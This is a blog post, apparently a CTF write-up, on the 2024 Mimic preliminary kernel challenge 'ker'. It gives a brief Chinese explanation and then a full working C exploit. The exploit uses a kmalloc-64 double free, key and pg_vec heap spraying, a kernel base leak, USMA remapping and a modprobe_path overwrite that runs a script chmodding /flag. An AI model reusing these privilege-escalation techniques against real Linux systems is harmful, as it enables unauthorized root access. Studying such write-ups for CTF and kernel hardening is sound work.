[ayoung@blog posts]$ cat ./拟态初赛 2024 ker.md

拟态初赛 2024 ker

[Last modified: 2025-08-31]

kmalloc-64 delete两次 edit一次

利用:delete一次后先用key_user_payload占住,再delete一次,然后用pg_vec占,其中正好datalen被覆盖成一个大数,越界读泄露堆上的基址

之后利用一次edit,改写pg_vec数组中映射给用户空间的虚拟地址,打USMA,再改写modprobe_path修改flag权限

exp


#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sched.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/keyctl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>


#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logd(fmt, ...) dprintf(2, "[*] %s[ccb 2024 NFS_KUAF](ccb%202024%20NFS_KUAF.md):%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do                                     \
    {                                      \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        exit(1);                           \
    } while (0)

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    logi("Process binded to core %d", core);
}

int fd = 0;
u_int64_t heap_addr = 0, kbase_addr = 0;

typedef struct edit
{
    char *content;
} edit_arg;

void add(char *content)
{
    edit_arg tmp =
        {
            .content = content,
        };

    ioctl(fd, 0x20, &tmp);
}

void edit(char *content)
{
    edit_arg tmp =
        {
            .content = content,
        };

    ioctl(fd, 0x50, &tmp);
}

void delete(char *content)
{
    edit_arg tmp =
        {
            .content = content,
        };

    ioctl(fd, 0x30, &tmp);
}

void unshare_setup()
{
    int temp_fd;
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
    {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
    }

    temp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(temp_fd, "deny", strlen("deny"));
    close(temp_fd);

    temp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);

    temp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);
    return;
}

int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0)
    {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
    if (ret < 0)
    {
        die("[x] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0)
    {
        die("[x] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}
int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
                        uint32_t block_nr, uint32_t sizeof_priv, int timeout)
{
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0)
    {
        perror("[-] socket (AF_PACKET)");
        exit(1);
    }

    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_VERSION)");
        exit(1);
    }

    struct tpacket_req3 req3;
    memset(&req3, 0, sizeof(req3));
    req3.tp_sizeof_priv = sizeof_priv;
    req3.tp_block_nr = block_nr;
    req3.tp_block_size = block_size;
    req3.tp_frame_size = frame_size;
    req3.tp_frame_nr = (block_size * block_nr) / frame_size;
    req3.tp_retire_blk_tov = timeout;
    req3.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
    if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_RX_RING)");
        exit(1);
    }

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_halen = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0)
    {
        perror("[-] bind (AF_PACKET)");
        exit(1);
    }

    return s;
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

char page_tmp[0x10000];
void main()
{
    char tmpbuf[0x38];

    char tmp[0x28];
    char payload[0x10];
    
    int key_id[0x50];
    bind_core(0);
    unshare_setup();
    fd = open("/dev/ker", O_RDONLY);
    if (fd < 0)
    {
        die("opne /dev/ker error");
    }

    add(tmp);
    delete (tmp);

    key_id[0] = key_alloc(tmp, payload, 0x10);

    delete (tmp);

    int block_nr = 0x28 / 0x8;
    // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8                  
    // 第一个参数 block_size/4096 为要分配的 order        
    int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000);

    key_read(key_id[0], page_tmp, 0xf000);
    size_t ptr = page_tmp;
    while (kbase_addr == 0)
    {
        u_int64_t tmp = *(size_t *)ptr;
        if ((tmp & 0xfff) == 0x1d0 && tmp > 0xFFFFFFFF00000000)
        {
            kbase_addr = tmp - 0x17741d0;
        }
        ptr += 8;
        if (ptr == page_tmp + 0xf000)
        {
            die("error");
        }
    }
    logi("kbase_addr :0x%llx", kbase_addr);
    logi("offset :0x%llx", (size_t *)ptr-(size_t *)page_tmp);

    *(size_t *)tmp = kbase_addr + 0xffffffff831d8000-0xffffffff81000000; // a76
    edit(tmp);
    char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
    if (page < 0)
    {
        die("page");
    }

    memcpy(page + 0xce0, "/tmp/modprobe", 14);

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/modprobe");
    system("chmod +x /tmp/modprobe");
    system("chmod +x /tmp/dummy");

    system("/tmp/dummy");
    system("cat /flag");

}